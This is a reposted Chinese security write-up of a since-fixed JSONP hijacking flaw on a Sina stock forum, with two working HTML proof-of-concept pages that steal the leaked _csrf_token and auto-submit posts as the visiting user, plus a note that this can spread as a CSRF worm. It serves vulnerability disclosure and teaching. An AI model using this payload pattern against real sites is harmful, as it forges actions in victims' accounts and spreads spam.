分享一个jsonp劫持造成的新浪某社区CSRF蠕虫 - APT防御产品

分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

最近jsonp很火,实话说已经是被玩烂了的,只是一直没有受到大家的重视。正好在上个月,我挖过一个由于jsonp造成的新浪某社区CSRF,当时是为了准备一篇文章,之后这篇文章也会拿出来分享。

    因为新浪已经修复了问题,所以我先把这个漏洞分享出来。以下是当时写的部分文章。

    

0x01 引子

    听说新浪五月送衣服,我其实也没太多空去挖洞。本来想交一个两年前挖的CSRF刷粉,结果拿出来一看那洞早没了,目标站都换了。

    详细说,就是我那个洞被302跳转到新浪股吧(http://guba.sina.com.cn/)去了。

    最近股市很火啊,多少人在股市里发家致富。于是我简单开着burpsuite在股吧里转了一圈,发现了一处有意思的CSRF。

    新浪微博玩的多的同学都知道新浪针对CSRF漏洞的防御策略是检查Referer,但股吧发帖这里却不是,少见地检查是token。

    image001.png

    如图,抓一个正常发帖的POST数据包,我们可以看到其中含有_csrf_token这个字段。经过简单FUZZ发现,这个请求是不检查Referer的,只要_csrf_token正确即可发帖。

    那么,如何获取_csrf_token,我有如下思路:


  1. 查看本站是否有泄漏token的jsonp
  2. 通过flash窃取源码


    为什么我会有以上思路?首先,获取token一定是一个跨域过程,跨域的话通常就是CORS、postMessage和jsonp,这里CORS和postMessage都是不存在的,那么我就去找jsonp。

    flash的思路应该已经流传已久了,去年这个时候/fd就已经在drops里说到了这个:http://drops.wooyun.org/tips/2031

    但法2有一个很重要的条件是我们需要找到一个能控制输出内容的点,如上传、jsonp等,但实际上这样的位置并不好找,利用起来不如第一种方法简单。


0x02 jsonp出卖了你的_csrf_token

    那么,跟着自己的思路来测试。

    我先将_csrf_token修改成随意一个字符串,发送发现返回这样一个结果:

    image003.png

    返回的数据包是一个json格式的字符串,其中包含了一个_csrf_token。多次发送这个数据包,我发现这个token每次都会变化。

    那么我大概可以猜到,股吧的token是一个动态生成的,应该是储存在session中,每次检查完成后会生成一个新的。

    但这里是json格式的返回值,而非jsonp。

    于是我在GET参数中加入“&callback=hehehe”试试:

    image005.png

    很明显,返回的格式变了。虽然不是jsonp,但却是一个<script>了。

    为什么加上callback=hehehe就变了?这应该是一个开发习惯,通常开发设计api的时候都会有json和jsonp两种格式,而通常取jsonp的函数名的变量名就是callback。

    这里是<script>还是没法跨域呀,parent.hehehe执行父框架中的hehehe函数,但父框架(10.211.55.3)和guba.sina.com.cn还是不同域,chrome下会爆出这个错误

    image007.png

    继续尝试,将HTTP方法改成GET:

    image009.png

    惊喜,方法一变就得到jsonp了。

    那么我用这个jsonp里的_csrf_token试试能不能成功发帖:

    image011.png

    悲剧的是,不行……

    那么我有两个猜想


  1. _csrf_token和HTTP方法有关,GET方法只能痛GET方法获取的token,POST用POST的token
  2. _csrf_token和“吧id”有关,不同id对应不同token。原因是返回错误的原因里多次提到“缺少参数:吧id或吧名”。


    第一个猜想被我的程序员直觉否定了,我没见过有这样写程序的。

    我尝试第二个猜想,在GET数据包的URL中加上&bid=9947,再次发送数据包:

    image013.png

    仍然是jsonp格式,我将这个token再写入post数据包中发送:

    image015.png

    成功了!

    一个jsonp将_csrf_token彻底出卖了。


0x03 构造POC发表任意帖子

    那么我开始编写POC来完成刚才手工完成的步骤。思路如下:


  1. jsonp获得token
  2. 构造POST表单提交


先构造一个获取token的简单代码:

01 <html>
02 <head>
03 <title>test</title>
04 <meta charset="utf-8">
05 <script type="text/javascript">
06 function hehehe(obj){
07     console.log(obj);
08     alert(obj["result"]["data"]["_csrf_token"]);
09 }
10 </script>
11 <script type="text/javascript" src=“http://guba.sina.com.cn/api/?s=Thread&a=safe_post&callback=hehehe&bid=9947"></script>
12 </head>
13 </html>
    效果如图:


    image017.png

    已经获取到token了。

    这时候,将token嵌入表单中提交即可:

01 <html>
02 <head>
03 <title>test</title>
04 <meta charset="utf-8">
05 </head>
06 <body>
07 <form action="http://guba.sina.com.cn/api/?s=Thread&a=safe_post" method="POST" id="csrfsend">
08 <input type="hidden" name="bid" value="9947">
09 <input type="hidden" name="tid" value="">
10 <input type="hidden" name="content" value="这是测试结果">
11 <input type="hidden" name="title" value="这是测试标题">
12 <input type="hidden" id="token" name="_csrf_token" value="">
13 <input type="hidden" name="anonymous" value="1">
14 </form>
15 <script type="text/javascript">
16 function hehehe(obj){
17     console.log(obj);
18     var csrf_token = obj["result"]["data"]["_csrf_token"];
19     document.getElementById("token").value = csrf_token;
20     document.getElementById("csrfsend").submit();
21 }
22 </script>
23 <script type="text/javascript" src="http://guba.sina.com.cn/api/?s=Thread&a=safe_post&callback=hehehe&bid=9947"></script>
24 </body>
25 </html>
    以上代码,保存为sinacsrf.html,任意用户访问后即可触发,在板块9947发表一篇新帖子:


    image019.png

    如图可见已发表:

    image021.png

    这就是一个很典型的CSRF漏洞,通过jsonp窃取token来绕过后端的检查。

    发表的帖子里还能再贴入链接,引诱其他用户点击,点击访问再次发帖,造成一个CSRF蠕虫。

转载:https://www.leavesongs.com/SHARE/emlog-defence-csrf-plugin.html


转载请注明出处 APT防御产品 » 分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址